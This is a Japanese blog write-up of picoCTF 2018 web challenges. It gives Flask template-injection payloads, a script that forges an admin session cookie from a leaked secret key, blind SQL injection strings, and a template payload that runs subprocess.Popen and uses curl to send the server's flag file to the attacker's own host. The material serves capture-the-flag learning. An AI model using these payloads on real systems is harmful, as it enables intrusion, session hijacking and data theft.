4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

picoCTF 2018 write up (Web問題)

Last updated at Posted at 2018-10-13

はじめに

チーム「ott0」として参加しました.
レベルが丁度良く,楽しく取り組むことができました!
というわけで,初のWrite-upを書きたいと思います.
解いた問題のうち,Web問題(特にFlask系)のWrite-upを書きます.

Flaskcards - Points: 350

問題文

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

(自分の)解法

サーバサイドテンプレートインジェクションの問題だった.
適当なユーザ名でログイン後, Create Card メニューのQuestionAnswerでも可 )に以下のように入力して Createボタンを押す.

{{config.items()}}

その後, List Cardsメニューを見てみてると,以下のようにFlaskの設定項目が出力される.

Question:dict_items([('SQLALCHEMY_POOL_SIZE', None), ('TESTING', False), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_TRACK_MODIFICATIONS', False), ('SESSION_COOKIE_PATH', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('DEBUG', False), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('MAX_CONTENT_LENGTH', None), ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_8f40629c}'), ('BOOTSTRAP_QUERYSTRING_REVVING', True), ('BOOTSTRAP_CDN_FORCE_SSL', False), ('SQLALCHEMY_POOL_RECYCLE', None), ('TEMPLATES_AUTO_RELOAD', None), ('SQLALCHEMY_BINDS', None), ('SERVER_NAME', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('USE_X_SENDFILE', False), ('SESSION_COOKIE_NAME', 'session'), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TRAP_BAD_REQUEST_ERRORS', None), ('SESSION_COOKIE_SAMESITE', None), ('ENV', 'production'), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('BOOTSTRAP_SERVE_LOCAL', False), ('SQLALCHEMY_DATABASE_URI', 'sqlite://'), ('SESSION_COOKIE_HTTPONLY', True), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('JSON_SORT_KEYS', True), ('BOOTSTRAP_LOCAL_SUBDOMAIN', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('TRAP_HTTP_EXCEPTIONS', False), ('APPLICATION_ROOT', '/'), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SESSION_COOKIE_SECURE', False), ('MAX_COOKIE_SIZE', 4093), ('PROPAGATE_EXCEPTIONS', None), ('BOOTSTRAP_USE_MINIFIED', True), ('EXPLAIN_TEMPLATE_LOADING', False)])

その中の SECRET_KEYがフラグだとわかる.

FLAG: picoCTF{secret_keys_to_the_kingdom_8f40629c}

Flaskcards Skeleton Key - Points: 600

問題文

Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell2.picoctf.com:48263 (link).

(自分の)解法

Secret Keyが提示されていることから,クッキーを書き換えてセッションハイジャックを行う問題かな?と思った.
クッキーの生成方法とかそもそも知らなかったので,調べてみるとクッキーをピリオドで区切って1つ目の文字列をbase64デコードしてzlibで解凍すると,セッション情報が得られることが分かった.
以下のようにコードを書いてデコードしてみる


import base64
import zlib

def flask_session_decode(encoded):
	return zlib.decompress(base64.urlsafe_b64decode(encoded))

def main():
	base = "hogehoge" #Flaskのセッションクッキーをピリオドで区切った際の1つ目の文字列(base64形式)
	print flask_session_decode(base)

if __name__ == '__main__':
	main()

そうすると,JSON形式の文字列が出力された.
パラメータには _iduser_idが含まれることから,これらの情報を少し変えてクッキーを再生成することで,Adminのセッションを乗っ取れるのではないか?と思った.
なお, userパラメータはその時点で 6とかだったので, 01あたりにするとAdminのセッションクッキーを再現できるのかな〜と思った(結局 1でした).

Flaskのソースを見ながら,以下のようにクッキー生成のソースを書いてみた.

from itsdangerous import BadSignature, URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
import hashlib

def main():
        session = dict(
                _fresh = True,
                _id = "hogehoge", #自分のセッションクッキーから取得する
                csrf_token="hogehoge", #自分のセッションクッキーから取得する
                user_id = "1" #Adminのuser_idは1
                )
        session_json_serializer = TaggedJSONSerializer()
        digest_method = hashlib.sha2
        key_derivation = 'hmac'

        secret_key = '385c16dd09098b011d0086f9e218a0a2' # 問で与えられたsecret_key
        salt = 'cookie-session'
        serializer = session_json_serializer
        signer_kwargs = dict(
            key_derivation=key_derivation,
            digest_method=digest_method
        )

        sign = URLSafeTimedSerializer(secret_key,
                salt=salt,
                serializer=serializer,
                signer_kwargs=signer_kwargs)

        data = sign.dumps(dict(session))
        print data


if __name__=='__main__':
        main()

session クッキーの値を上記のプログラムの結果に上書きし, admin メニューにアクセスするとフラグが得られた.

FLAG: picoCTF{1_id_to_rule_them_all_d77c1ed6}

A Simple Question - Points: 650

問題文

There is a website running at http://2018shell2.picoctf.com:36052 (link). Try to see if you can answer its question.

(自分の)解法

ブラインドSQLインジェクションの問題だった.
テーブル名はわかるので,カラム名を調べるために以下の文字列をCREATE TABLE aからCREATE TABLE z,大文字,小文字,数字といったように,しらみつぶしに送信していった.

' or (select count(*) from sqlite_master where substr(sql, 1, 14) = 'CREATE TABLE a') > 0 --

そうすると,カラム名はanswerひとつであることがわかる.
次にanswersテーブルのデータを取り出すために,以下の文字列をaからz,大文字,小文字,数字といったように,しらみつぶしに送信していった.

(select count(*) from answers where substr(answer, 1, 1) = 'a') > 0 --

その結果,answerカラムに41AndSixSixthsという値が入っていることがわかった.
41AndSixSixthsをフォームに入力して送信するとフラグを得られた.

FLAG: picoCTF{qu3stions_ar3_h4rd_d3850719}

Flaskcards and Freedom - Points: 900

問題文

There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell2.picoctf.com:52168 (link)

(自分の)解法

ヒントによると,サーバサイドでのコード実行を要求しているらしい.
前述したサーバサイドテンプレートインジェクションの脆弱性を利用して,コード実行を行うオブジェクトを探していく.
まずは,以下の文字列をCreate Cardにて登録し,List Cardsにて実行させる.

{{''.__class__.__mro__[1].__subclasses__()}}

そうすると,Objectクラスのサブクラス一覧が出力される.
その中に<class 'subprocess.Popen'>があったので,これを利用することにした.

subprocess.Popenを実行させるために,<class 'subprocess.Popen'>のインデックス(時間によって変わる?)を数えて,上記の文字列にインデックスとして指定する.

#インデックスは時間によって変わるので注意
{{''.__class__.__mro__[1].__subclasses__()[48]}}

そしてsubprocess.Popenの引数を指定する.
(今回は,問題サーバ内にflagという名前のファイルがあったらしく,適当にファイル名に flag を指定してcurlで送信したらフラグが得られた.なのでファイルを探す過程はすっ飛ばしてます笑)

{{''.__class__.__mro__[1].__subclasses__()[48](['curl','-X','POST','<<自分のサーバのIP>>','-d','@flag']).communicate()}}

上記の文字列をインジェクションした結果,フラグを得ることができた.

FLAG: picoCTF{R_C_E_wont_let_me_be_33c4aa61}

4
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
4
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?